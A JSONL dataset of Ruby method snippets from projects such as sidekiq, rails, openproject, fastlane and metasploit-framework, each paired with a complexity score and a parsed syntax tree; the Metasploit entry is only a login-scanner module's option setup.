{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/profiler.rb","start_line":20,"raw_source":"def call(job, &block)\n      return yield unless job[\"profile\"]\n\n      token = job[\"profile\"]\n      type = job[\"class\"]\n      jid = job[\"jid\"]\n      started_at = Time.now\n\n      rundata = {\n        started_at: started_at.to_i,\n        token: token,\n        type: type,\n        jid: jid,\n        # .gz extension tells Vernier to compress the data\n        filename: File.join(\n          @vernier_output_dir,\n          \"#{token}-#{type}-#{jid}-#{started_at.strftime(\"%Y%m%d-%H%M%S\")}.json.gz\"\n        )\n      }\n      profiler_options = profiler_options(job, rundata)\n\n      require \"vernier\"\n      begin\n        a = Time.now\n        rc = Vernier.profile(**profiler_options, &block)\n        b = Time.now\n\n        # Failed jobs will raise an exception on previous line and skip this\n        # block. Only successful jobs will persist profile data to Redis.\n        key = \"#{token}-#{jid}\"\n        data = File.read(rundata[:filename])\n        redis do |conn|\n          conn.multi do |m|\n            m.zadd(\"profiles\", Time.now.to_f + EXPIRY, key)\n            m.hset(key, rundata.merge(elapsed: (b - a), data: data, size: data.bytesize))\n            m.expire(key, EXPIRY)\n          end\n        end\n        rc\n      ensure\n        FileUtils.rm_f(rundata[:filename])\n      end\n    end","complexity_score":52.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"profile\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"yield\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"profile\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"jid\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"started_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rundata\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"started_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"started_at\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jid\"]},{\"type\":\"lvar\",\"children\":[\"jid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@vernier_output_dir\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jid\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"started_at\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d-%H%M%S\"]}]}]},{\"type\":\"str\",\"children\":[\".json.gz\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"profiler_options\",{\"type\":\"send\",\"children\":[null,\"profiler_options\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"rundata\"]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"vernier\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vernier\"]},\"profile\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiler_options\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rundata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"multi\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"zadd\",{\"type\":\"str\",\"children\":[\"profiles\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"EXPIRY\"]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"hset\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rundata\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"elapsed\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bytesize\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"expire\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"const\",\"children\":[null,\"EXPIRY\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"rc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_f\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rundata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]}]}]}]}","id":"75726632-3598-4294-855b-1afec5a5f94d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/selects/relation_of_type_select.rb","start_line":48,"raw_source":"def self.instances(_context = nil)\n    return [] unless granted_by_enterprise_token\n\n    Relation::TYPES.map { |_key, type| new(type) }\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"instances\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_context\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"granted_by_enterprise_token\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"TYPES\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_key\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]}","id":"de07b333-34d9-4a54-a962-24cf628abf6b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/wowza_streaming_engine_manager_login.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Wowza Streaming Engine Manager Login Utility',\n        'Description' => %q{\n          This module will attempt to authenticate to Wowza Streaming Engine\n          via Wowza Streaming Engine Manager web interface.\n        },\n        'Author' => [ 'bcoles' ],\n        'License' => MSF_LICENSE,\n        'Platform' => %w[linux win osx],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => []\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(8088),\n      OptString.new('USERNAME', [true, 'The username for Wowza Streaming Engine Manager', '']),\n      OptString.new('PASSWORD', [false, 'The password to Wowza Streaming Engine Manager', '']),\n      OptString.new('TARGETURI', [false, 'The path to Wowza Streaming Engine Manager', '/'])\n\n    ])\n  end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Wowza Streaming Engine Manager Login Utility\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will attempt to authenticate to Wowza Streaming Engine\\n\"]},{\"type\":\"str\",\"children\":[\"          via Wowza Streaming Engine Manager web interface.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8088]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username for Wowza Streaming Engine Manager\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to Wowza Streaming Engine Manager\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to Wowza Streaming Engine Manager\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"773c610f-a034-4118-b4e2-7a4d3a48e267"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20241024102733_remove_experimental_redesigned_about_page_groups_setting.rb","start_line":11,"raw_source":"def down\n    raise IrreversibleMigration.new\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IrreversibleMigration\"]},\"new\"]}]}]}","id":"111e53ff-6b8d-4ca2-88db-8bc86136ffe3"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/version.rb","start_line":112,"raw_source":"def release_date_from_file\n        cached_or_block(:@release_date_from_file) do\n          path = Rails.root.join(\"RELEASE_DATE\")\n          if File.exist? path\n            s = File.read(path)\n            Time.zone.parse(s)\n          end\n        end\n      end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"release_date_from_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_or_block\",{\"type\":\"sym\",\"children\":[\"@release_date_from_file\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"RELEASE_DATE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]},null]}]}]}]}","id":"ac2ac0f7-ffd7-4f66-b164-8f886f3be6e5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":26,"raw_source":"def hidden_fields(options = {})\n    method = options[:method]\n    enforce_utf8 = options.fetch(:enforce_utf8, true)\n    no_autocomplete = options[:no_autocomplete]\n\n    (+\"\").tap do |txt|\n      if enforce_utf8\n        if no_autocomplete\n          txt << %{<input name=\"utf8\" type=\"hidden\" value=\"&#x2713;\" />}\n        else\n          txt << %{<input name=\"utf8\" type=\"hidden\" value=\"&#x2713;\" autocomplete=\"off\" />}\n        end\n      end\n\n      if method && !%w(get post).include?(method.to_s)\n        if no_autocomplete\n          txt << %{<input name=\"_method\" type=\"hidden\" value=\"#{method}\" />}\n        else\n          txt << %{<input name=\"_method\" type=\"hidden\" value=\"#{method}\" autocomplete=\"off\" />}\n        end\n      end\n    end\n  end","complexity_score":26.5,"ast_json":"{\"type\":\"def\",\"children\":[\"hidden_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enforce_utf8\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"enforce_utf8\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"no_autocomplete\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_autocomplete\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enforce_utf8\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"no_autocomplete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<input name=\\\"utf8\\\" type=\\\"hidden\\\" value=\\\"&#x2713;\\\" />\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<input name=\\\"utf8\\\" type=\\\"hidden\\\" value=\\\"&#x2713;\\\" autocomplete=\\\"off\\\" />\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"post\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_s\"]}]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"no_autocomplete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name=\\\"_method\\\" type=\\\"hidden\\\" value=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"\\\" />\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name=\\\"_method\\\" type=\\\"hidden\\\" value=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"\\\" autocomplete=\\\"off\\\" />\"]}]}]}]},null]}]}]}]}]}","id":"845b4ba9-eb32-412c-af60-c3f2c63d9514"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiparameter_attributes_test.rb","start_line":68,"raw_source":"def test_multiparameter_attributes_on_time\n    with_timezone_config default: :local do\n      attributes = {\n        \"written_on(1i)\" => \"2004\", \"written_on(2i)\" => \"6\", \"written_on(3i)\" => \"24\",\n        \"written_on(4i)\" => \"16\", \"written_on(5i)\" => \"24\", \"written_on(6i)\" => \"00\"\n      }\n      topic = Topic.find(1)\n      topic.attributes = attributes\n      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on\n    end\n  end","complexity_score":13.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiparameter_attributes_on_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_timezone_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"local\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(1i)\"]},{\"type\":\"str\",\"children\":[\"2004\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(2i)\"]},{\"type\":\"str\",\"children\":[\"6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(3i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(4i)\"]},{\"type\":\"str\",\"children\":[\"16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(5i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(6i)\"]},{\"type\":\"str\",\"children\":[\"00\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"local\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[24]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[24]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]}]}]}]}]}","id":"048abc1a-0ada-43f8-8725-0866620866ac"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/sigh/lib/sigh/local_manage.rb","start_line":101,"raw_source":"def self.cleanup_profiles(expired = false, pattern = nil, force = nil)\n      now = DateTime.now\n\n      profiles = load_profiles.select { |profile| (expired && profile[\"ExpirationDate\"] < now) || (!pattern.nil? && profile[\"Name\"] =~ pattern) }\n\n      UI.message(\"The following provisioning profiles are either expired or matches your pattern:\")\n      profiles.each do |profile|\n        UI.message(profile[\"Name\"].red)\n      end\n\n      delete = force\n      unless delete\n        if Helper.ci?\n          UI.user_error!(\"On a CI server, cleanup cannot be used without the --force option\")\n        else\n          delete = UI.confirm(\"Delete these provisioning profiles #{profiles.length}?\")\n        end\n      end\n\n      if delete\n        profiles.each do |profile|\n          File.delete(profile[\"Path\"])\n        end\n        UI.success(\"\\n\\nDeleted #{profiles.length} profiles\")\n      end\n    end","complexity_score":46.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cleanup_profiles\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"expired\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"pattern\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"force\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"profiles\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_profiles\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"profile\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expired\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ExpirationDate\"]}]},\"<\",{\"type\":\"lvar\",\"children\":[\"now\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Name\"]}]},\"=~\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"The following provisioning profiles are either expired or matches your pattern:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiles\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"profile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Name\"]}]},\"red\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"delete\",{\"type\":\"lvar\",\"children\":[\"force\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"ci?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"On a CI server, cleanup cannot be used without the --force option\"]}]},{\"type\":\"lvasgn\",\"children\":[\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"confirm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Delete these provisioning profiles \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiles\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiles\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"profile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\\nDeleted \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiles\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" profiles\"]}]}]}]},null]}]}]}","id":"34f626f0-deaf-4d95-9986-631e0a476947"}
